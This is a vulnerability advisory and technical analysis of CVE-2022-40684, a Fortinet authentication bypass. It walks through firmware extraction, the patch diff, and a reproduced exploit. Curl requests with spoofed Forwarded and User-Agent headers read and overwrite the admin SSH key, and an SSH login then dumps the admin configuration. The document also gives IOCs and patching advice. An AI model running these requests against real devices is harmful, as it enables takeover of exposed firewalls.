Description
On October 3, 2022, Fortinet released a software update that addressed CVE-2022-40684, a critical authentication bypass vulnerability in their FortiOS (firewall) FortiProxy (web proxy), and FortiSwitch Manager products. The vulnerability allows remote, unauthenticated attackers to bypass authentication and gain access to the administrative interface of these products by using a specially crafted http/s request.
While their initial communications were private to customers, on October 10, 2022, Fortinet released advisory FG-IR-22-377 with additional details about the vulnerability and confirmed that it had been exploited in the wild. Public and private sources have now confirmed that exploitation is ongoing. It’s also been added to CISA’s known exploited vulnerability list.
Security firm Horizon3 published a proof-of-concept exploit on October 13, 2022, along with technical analysis of the vulnerability.
The following products are affected:
- FortiOS 7.0.0 to 7.0.6
- FortiOS 7.2.0 to 7.2.1
- FortiProxy 7.0.0 to 7.0.6
- FortiProxy 7.2.0
- FortiSwitchManager 7.0.0
- FortiSwitchManager 7.2.0
Technical analysis
We downloaded VMware builds for Fortigate 7.0.6 and 7.0.7, which are distributed as .zip files containing .ovf images:
-rw-r--r--. 1 ron games 71680 Aug 23 2010 datadrive.vmdk
-rw-r--r--. 1 ron games 30635 Jun 6 13:39 FortiGate-VM64.hw13.ovf
-rw-r--r--. 1 ron games 30635 Jun 6 13:39 FortiGate-VM64.hw15.ovf
-rw-r--r--. 1 ron games 14128 Jun 6 13:39 FortiGate-VM64.nsxt.ovf
-rw-r--r--. 1 ron games 26990 Jun 6 13:39 FortiGate-VM64.ovf
-rw-r--r--. 1 ron games 45063 Jun 6 13:39 FortiGate-VM64.vapp.ovf
-rw-r--r--. 1 ron games 75711488 Jun 6 13:39 fortios.vmdk
-rw-r--r--. 1 ron games 1189 Jun 6 13:39 readme.txtOf the two filesystems, fortios.vmdk contains the operating system and applications (compressed). We mounted the .vmdk file in a VM for analysis, and found the following filesystem:
$ ls -l
total 73416
-rw-r--r--. 1 ron games 1 Oct 12 10:46 boot.msg
-rw-r--r--. 1 ron games 11670691 Oct 12 10:46 datafs.tar.gz
-rw-r--r--. 1 ron games 155 Oct 12 10:46 extlinux.conf
-rw-r--r--. 1 ron games 53 Oct 12 10:46 filechecksum
-rw-r--r--. 1 ron games 4147088 Oct 12 10:46 flatkc
-rw-r--r--. 1 ron games 256 Oct 12 10:46 flatkc.chk
-r--r--r--. 1 ron games 122656 Oct 12 10:46 ldlinux.c32
-r--r--r--. 1 ron games 69632 Oct 12 10:46 ldlinux.sys
drwx------. 1 ron games 64 Oct 12 10:46 lost+found/
-rw-r--r--. 1 ron games 59163365 Oct 12 10:46 rootfs.gz
-rw-r--r--. 1 ron games 256 Oct 12 10:46 rootfs.gz.chkWe extracted datafs.tar.gz, which is largely configuration files (a /etc/ filesystem). Then we looked at rootfs.gz, which extracts to a cpio archive:
$ file rootfs
rootfs: ASCII cpio archive (SVR4 with no CRC)Having just worked with , we knew exactly how to extract it:
$ cpio -i -d --no-absolute-filenames < ./rootfs
[...]That, in turn, extracted into a filesystem containing several .xz files. Like Horizon3, we couldn’t extract the .xz files using the system-level xz executable, but we could use Fortinet’s by setting up the loader where they expect it to be:
fortigate/fortigate-7.0.6/root/sbin $ mkdir -p /fortidev/lib64/
fortigate/fortigate-7.0.6/root/sbin $ sudo cp ../lib/ld-linux-x86-64.so.2 /fortidev/lib64/
fortigate/fortigate-7.0.6/root/sbin $ LD_LIBRARY_PATH=../lib ./xz -vd ../usr.tar.xz
[...]We repeated that for all the .xz files to extract the full operating system plus applications. Since most of the JavaScript files that power the device are minified and then gzipped, we used find to un-gzip and beautify all of the JavaScript files:
fortigate/fortigate-7.0.6/root $ find . -type f -name '*.gz' -exec gunzip "{}" \;
fortigate/fortigate-7.0.6/root $ find . -iname '*.js' -exec ~/.local/bin/js-beautify -r {} \;Then we repeated the exact same steps on Fortigate 7.0.7, and diff’d the filesystems.
$ diff -rub fortigate-7.0.6/ fortigate-7.0.7/ > fortigate.diffUpon manually inspecting the output, very little had changed. But this caught our eye:
diff -rub fortigate-7.0.6/root/node-scripts/index.js fortigate-7.0.7/root/node-scripts/index.js
--- fortigate-7.0.6/root/node-scripts/index.js 2022-10-12 14:13:15.000000000 -0700
+++ fortigate-7.0.7/root/node-scripts/index.js 2022-10-12 14:15:24.000000000 -0700
@@ -15092,7 +15092,22 @@
port: SYMBOLS.HTTPSD_LISTEN_PORT,
path: overrideUrl || this.request.url,
onReq: (req, opt) => {
- Object.assign(opt.headers, this._proxyHeaders);
+ const {
+ localAddress,
+ localPort,
+ remoteAddress,
+ remotePort
+ } = req.socket;
+ // All headers use by httpsd should always setup with initial value instead of skip
+ Object.assign(
+ opt.headers, {
+ forwarded: `by="[${localAddress}]:${localPort}";` +
+ `for="[${remoteAddress}]:${remotePort}"`,
+ 'x-forwarded-vdom': '',
+ 'x-forwarded-cert': ''
+ },
+ this._proxyHeaders
+ );
},
onRes: (req, res, proxyRes) => {
const {Misusing Object.assign here allows a user to supply unintended headers in a proxied request. From context, it seems that Fortinet is forwarding the user’s request to a back-end application, and the patch ensures that the Forwarded header (and a couple others) are correctly set to safe values.
Interestingly, this is the second time in the recent past that a networking device has been vulnerable to an attack that alters HTTP headers in a proxied request to make it appear that the request is coming from a trusted source (the previous was CVE-2022-1388 (our analysis)).
Horizon3’s proof of concept confirms this; it sets the HTTP Forwarded header to make it appear to be coming from a trusted application, as well as a User-Agent that is authorized to access localhost in this manner:
HEADERS = {
'User-Agent': 'Report Runner',
'Forwarded': 'for="[127.0.0.1]:8888";by="[127.0.0.1]:8888"'
}Using this, we can call any API function that Fortigate supports, but to demonstrate the impact, we’re going to overwrite the admin account’s SSH key. First, however, we’ll dump their current SSH(s) key if they’re set. If you don’t do this, you could lock out legitimate users!
$ curl -s -X GET -H 'User-Agent: Report Runner' -H 'Content-Type: application/json' -H 'Forwarded: for="[127.0.0.1]:8000";by="[127.0.0.1]:9000"' http://10.0.0.186/api/v2/cmdb/system/admin/admin | jq '.results[]."ssh-public-
key1"'
"\"ssh-rsa AAAA[...]Ssc= realadmin@realadminhost\""
$ curl -s -X GET -H 'User-Agent: Report Runner' -H 'Content-Type: application/json' -H 'Forwarded: for="[127.0.0.1]:8000";by="[127.0.0.1]:9000"' http://10.0.0.186/api/v2/cmdb/system/admin/admin | jq '.results[]."ssh-public-key2"'
""
$ curl -s -X GET -H 'User-Agent: Report Runner' -H 'Content-Type: application/json' -H 'Forwarded: for="[127.0.0.1]:8000";by="[127.0.0.1]:9000"' http://10.0.0.186/api/v2/cmdb/system/admin/admin | jq '.results[]."ssh-public-
key3"'
""In that example, ssh-public-key1 is set to a key belonging to realadmin@realadminhost, but ssh-public-key2 and ssh-public-key3 are not set. We can save ssh-public-key1 somewhere so we can restore it later, or use the second or third slot (note that the public PoC will overwrite the first key without checking, potentially locking out real administrators!)
The version of Fortigate we tested seems to be strict about which types of keys it accepts, and doesn’t accept the default key algorithms that Fedora and Ubuntu use, we create a new key using the ssh-ed25519 algorithm:
$ ssh-keygen -t ssh-ed25519
Generating public/private ssh-ed25519 key pair.
Enter file in which to save the key (/home/ron/.ssh/id_ed25519): ./test_key
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./test_key
Your public key has been saved in ./test_key.pub
[...]
$ cat test_key.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKvqNT5aiZwI7kxfRx5fEbe62QcrK5etE/j5523Of7v5 ron@fedoraThen we set the key as ssh-public-key2 on admin:
$ curl -X PUT -H 'User-Agent: Report Runner' -H 'Content-Type: application/json' -H 'Forwarded: for="[127.0.0.1]:8000";by="[127.0.0.1]:9000"' --data-binary '{"ssh-public-key2": "\"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKvqNT5a
iZwI7kxfRx5fEbe62QcrK5etE/j5523Of7v5 ron@fedora\""}' http://10.0.0.186/api/v2/cmdb/system/admin/admin
{
"http_method":"PUT",
"revision":"40f3c00bc368999ee4fb36d86b018e80",
"revision_changed":false,
"cli_error":"SSH key is good.\nnode_check_object fail! for name admin\n\nvalue parse error before 'admin'\nCommand fail. Return code -37\n",
"error":-37,
"status":"error",
"http_status":500,
"vdom":"root",
"path":"system",
"name":"admin",
"mkey":"admin",
"serial":"FGVMEVQLI65ZG419",
"version":"v7.0.6",
"build":366
}In spite of the error message, it should be set! You can validate by grabbing the key the way we did earlier:
$ curl -s -X GET -H 'User-Agent: Report Runner' -H 'Content-Type: application/json' -H 'Forwarded: for="[127.0.0.1]:8000";by="[127.0.0.1]:9000"' http://10.0.0.186/api/v2/cmdb/system/admin/admin | jq '.results[]."ssh-public-key2"'
"\"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKvqNT5aiZwI7kxfRx5fEbe62QcrK5etE/j5523Of7v5 ron@fedora\""And, of course, we can validate by just using the key (we grabbed the user account list to demonstrate what you can do):
$ ssh -i ./test_key [email protected]
FortiGate-VM64 #
FortiGate-VM64 # show system admin
config system admin
edit "admin"
set accprofile "super_admin"
set vdom "root"
set password ENC SH2E8LERtpRSSW7uTJO4ExsrjOPLcS8PKD+i8u84PipsjMfafnr6xAD/rSi6LI=
next
endIOCs
The best indication that somebody has exploited this vulnerability comes from Fortinet’s advisory:
Fortinet is aware of an instance where this vulnerability was exploited, and recommends immediately validating your systems against the following indicator of compromise in the device’s logs:
user="Local_Process_Access"
Guidance
On Thursday, October 6, 2022, Fortinet released version 7.0.7 and version 7.2.2, which resolves the vulnerability. Organizations should update to a fixed version of the software for their products on an emergency basis.
Fortigate has also posted workaround instructions, which can be used as a stop-gap measure until a patch can be rolled out.
Furthermore, Rapid7 recommends that all high-value edge devices limit public access to any administrative interface.



